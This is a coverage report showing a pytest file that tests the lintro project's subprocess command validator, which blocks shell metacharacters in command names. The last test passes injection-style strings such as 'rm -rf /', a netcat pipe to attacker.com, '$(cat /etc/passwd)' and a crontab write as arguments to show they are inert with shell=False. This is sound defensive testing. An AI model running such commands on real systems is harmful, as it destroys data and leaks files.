Coverage for tests / unit / security / test_subprocess_injection.py: 100%

77 statements  

« prev     ^ index     » next       coverage.py v7.13.0, created at 2026-04-03 18:53 +0000

1"""Tests for subprocess command injection prevention. 

2 

3These tests verify that the subprocess command validation properly blocks 

4shell metacharacters in the command name while allowing them in arguments 

5(since shell=False passes arguments literally without shell interpretation). 

6""" 

7 

8from __future__ import annotations 

9 

10import pytest 

11from assertpy import assert_that 

12 

13from lintro.plugins.subprocess_executor import ( 

14 UNSAFE_SHELL_CHARS, 

15 validate_subprocess_command, 

16) 

17 

18# ============================================================================= 

19# Tests for UNSAFE_SHELL_CHARS constant 

20# ============================================================================= 

21 

22 

23def test_unsafe_chars_is_frozenset() -> None: 

24 """Verify UNSAFE_SHELL_CHARS is immutable (frozenset).""" 

25 assert_that(UNSAFE_SHELL_CHARS).is_instance_of(frozenset) 

26 

27 

28def test_unsafe_chars_contains_command_chaining_chars() -> None: 

29 """Verify command chaining characters are blocked.""" 

30 chaining_chars = {";", "&", "|"} 

31 for char in chaining_chars: 

32 assert_that(UNSAFE_SHELL_CHARS).contains(char) 

33 

34 

35def test_unsafe_chars_contains_redirection_chars() -> None: 

36 """Verify redirection characters are blocked.""" 

37 redirection_chars = {">", "<"} 

38 for char in redirection_chars: 

39 assert_that(UNSAFE_SHELL_CHARS).contains(char) 

40 

41 

42def test_unsafe_chars_contains_command_substitution_chars() -> None: 

43 """Verify command substitution characters are blocked.""" 

44 substitution_chars = {"`", "$"} 

45 for char in substitution_chars: 

46 assert_that(UNSAFE_SHELL_CHARS).contains(char) 

47 

48 

49def test_unsafe_chars_contains_escape_chars() -> None: 

50 """Verify escape and control characters are blocked.""" 

51 escape_chars = {"\\", "\n", "\r"} 

52 for char in escape_chars: 

53 assert_that(UNSAFE_SHELL_CHARS).contains(char) 

54 

55 

56def test_unsafe_chars_contains_glob_chars() -> None: 

57 """Verify glob pattern characters are blocked.""" 

58 glob_chars = {"*", "?", "[", "]"} 

59 for char in glob_chars: 

60 assert_that(UNSAFE_SHELL_CHARS).contains(char) 

61 

62 

63def test_unsafe_chars_contains_brace_expansion_chars() -> None: 

64 """Verify brace and subshell expansion characters are blocked.""" 

65 brace_chars = {"{", "}", "(", ")"} 

66 for char in brace_chars: 

67 assert_that(UNSAFE_SHELL_CHARS).contains(char) 

68 

69 

70def test_unsafe_chars_contains_other_shell_chars() -> None: 

71 """Verify other shell special characters are blocked.""" 

72 other_chars = {"~", "!"} 

73 for char in other_chars: 

74 assert_that(UNSAFE_SHELL_CHARS).contains(char) 

75 

76 

77# ============================================================================= 

78# Tests for validate_subprocess_command function 

79# ============================================================================= 

80 

81 

82def test_validate_subprocess_command_valid_simple_command() -> None: 

83 """Verify simple command passes validation.""" 

84 validate_subprocess_command(["echo", "hello"]) 

85 # No exception raised 

86 

87 

88def test_validate_subprocess_command_valid_command_with_flags() -> None: 

89 """Verify command with flags passes validation.""" 

90 validate_subprocess_command(["ls", "-la", "--color=auto"]) 

91 # No exception raised 

92 

93 

94def test_validate_subprocess_command_valid_command_with_path() -> None: 

95 """Verify command with file path passes validation.""" 

96 validate_subprocess_command(["cat", "/path/to/file.txt"]) 

97 # No exception raised 

98 

99 

100def test_validate_subprocess_command_empty_command_raises() -> None: 

101 """Verify empty command raises ValueError.""" 

102 with pytest.raises(ValueError, match="non-empty list"): 

103 validate_subprocess_command([]) 

104 

105 

106def test_validate_subprocess_command_none_command_raises() -> None: 

107 """Verify None command raises ValueError.""" 

108 with pytest.raises(ValueError, match="non-empty list"): 

109 validate_subprocess_command(None) # type: ignore[arg-type] 

110 

111 

112def test_validate_subprocess_command_string_command_raises() -> None: 

113 """Verify string command (not list) raises ValueError.""" 

114 with pytest.raises(ValueError, match="non-empty list"): 

115 validate_subprocess_command("ls -la") # type: ignore[arg-type] 

116 

117 

118def test_validate_subprocess_command_non_string_argument_raises() -> None: 

119 """Verify non-string argument raises ValueError.""" 

120 with pytest.raises(ValueError, match="must be strings"): 

121 validate_subprocess_command(["ls", 123]) # type: ignore[list-item] 

122 

123 

124# ============================================================================= 

125# Tests for unsafe characters in COMMAND NAME (should raise) 

126# ============================================================================= 

127 

128 

129@pytest.mark.parametrize( 

130 ("char", "description"), 

131 [ 

132 pytest.param(";", "semicolon command separator", id="semicolon"), 

133 pytest.param("&", "ampersand background/AND", id="ampersand"), 

134 pytest.param("|", "pipe", id="pipe"), 

135 pytest.param(">", "output redirection", id="redirect_out"), 

136 pytest.param("<", "input redirection", id="redirect_in"), 

137 pytest.param("`", "backtick command substitution", id="backtick"), 

138 pytest.param("$", "variable expansion", id="dollar"), 

139 pytest.param("\\", "escape character", id="backslash"), 

140 pytest.param("\n", "newline", id="newline"), 

141 pytest.param("\r", "carriage return", id="carriage_return"), 

142 pytest.param("*", "glob wildcard", id="asterisk"), 

143 pytest.param("?", "single char wildcard", id="question"), 

144 pytest.param("[", "character class start", id="bracket_open"), 

145 pytest.param("]", "character class end", id="bracket_close"), 

146 pytest.param("{", "brace expansion start", id="brace_open"), 

147 pytest.param("}", "brace expansion end", id="brace_close"), 

148 pytest.param("(", "subshell start", id="paren_open"), 

149 pytest.param(")", "subshell end", id="paren_close"), 

150 pytest.param("~", "home expansion", id="tilde"), 

151 pytest.param("!", "history expansion", id="exclamation"), 

152 ], 

153) 

154def test_validate_subprocess_command_unsafe_char_in_command_name_raises( 

155 char: str, 

156 description: str, 

157) -> None: 

158 """Verify each unsafe character in command name is blocked. 

159 

160 Args: 

161 char: The unsafe character to test. 

162 description: Human-readable description of the character. 

163 """ 

164 with pytest.raises(ValueError, match="Unsafe character"): 

165 validate_subprocess_command([f"cmd{char}name", "arg"]) 

166 

167 

168def test_validate_subprocess_command_injection_in_command_name() -> None: 

169 """Verify command injection in command name is blocked.""" 

170 with pytest.raises(ValueError, match="Unsafe character"): 

171 validate_subprocess_command(["ls;rm", "-la"]) 

172 

173 

174# ============================================================================= 

175# Tests for unsafe characters in ARGUMENTS (should NOT raise with shell=False) 

176# ============================================================================= 

177 

178 

179@pytest.mark.parametrize( 

180 ("char", "description"), 

181 [ 

182 pytest.param(";", "semicolon command separator", id="semicolon"), 

183 pytest.param("&", "ampersand background/AND", id="ampersand"), 

184 pytest.param("|", "pipe", id="pipe"), 

185 pytest.param(">", "output redirection", id="redirect_out"), 

186 pytest.param("<", "input redirection", id="redirect_in"), 

187 pytest.param("`", "backtick command substitution", id="backtick"), 

188 pytest.param("$", "variable expansion", id="dollar"), 

189 pytest.param("\\", "escape character", id="backslash"), 

190 pytest.param("*", "glob wildcard", id="asterisk"), 

191 pytest.param("?", "single char wildcard", id="question"), 

192 pytest.param("[", "character class start", id="bracket_open"), 

193 pytest.param("]", "character class end", id="bracket_close"), 

194 pytest.param("{", "brace expansion start", id="brace_open"), 

195 pytest.param("}", "brace expansion end", id="brace_close"), 

196 pytest.param("(", "subshell start", id="paren_open"), 

197 pytest.param(")", "subshell end", id="paren_close"), 

198 pytest.param("~", "home expansion", id="tilde"), 

199 pytest.param("!", "history expansion", id="exclamation"), 

200 ], 

201) 

202def test_validate_subprocess_command_special_char_in_argument_allowed( 

203 char: str, 

204 description: str, 

205) -> None: 

206 """Verify special characters in arguments are allowed with shell=False. 

207 

208 Since lintro always uses shell=False, arguments are passed literally to 

209 the subprocess without shell interpretation. This allows legitimate use 

210 of special characters in file paths, glob patterns, and tool-specific 

211 syntax (e.g., Semgrep metavariables like $X). 

212 

213 Args: 

214 char: The special character to test. 

215 description: Human-readable description of the character. 

216 """ 

217 # Should NOT raise - special chars in args are safe with shell=False 

218 validate_subprocess_command(["echo", f"arg{char}value"]) 

219 

220 

221def test_validate_subprocess_command_glob_pattern_in_argument_allowed() -> None: 

222 """Verify glob patterns in arguments are allowed.""" 

223 # Common use case: passing include/exclude patterns to tools 

224 validate_subprocess_command(["semgrep", "--include", "*.py"]) 

225 validate_subprocess_command(["ruff", "check", "src/**/*.py"]) 

226 

227 

228def test_validate_subprocess_command_template_path_allowed() -> None: 

229 """Verify template paths with special chars are allowed.""" 

230 # Common use case: Jinja2 templates, cookiecutter directories 

231 validate_subprocess_command(["cat", "templates/{{cookiecutter.name}}/file.py"]) 

232 

233 

234def test_validate_subprocess_command_variable_syntax_allowed() -> None: 

235 """Verify tool-specific variable syntax is allowed.""" 

236 # Common use case: Semgrep metavariables 

237 validate_subprocess_command(["semgrep", "--pattern", "$X = $Y"]) 

238 

239 

240def test_validate_subprocess_command_dollar_in_filename_allowed() -> None: 

241 """Verify filenames with $ are allowed.""" 

242 # Some projects have files with $ in names 

243 validate_subprocess_command(["cat", "test_$var.py"]) 

244 

245 

246def test_validate_subprocess_command_shell_injection_args_safe_with_shell_false() -> ( 

247 None 

248): 

249 """Verify shell injection attempts in args are safe with shell=False. 

250 

251 These would be dangerous with shell=True, but are harmless with shell=False 

252 as the arguments are passed directly to the executable without 

253 shell interpretation. 

254 """ 

255 # These look like injection attempts but are safe with shell=False 

256 validate_subprocess_command(["ls", "-la; rm -rf /"]) 

257 validate_subprocess_command(["cat", "file | nc attacker.com 1234"]) 

258 validate_subprocess_command(["echo", "`whoami`"]) 

259 validate_subprocess_command(["echo", "$(cat /etc/passwd)"]) 

260 validate_subprocess_command(["echo", "data > /etc/crontab"])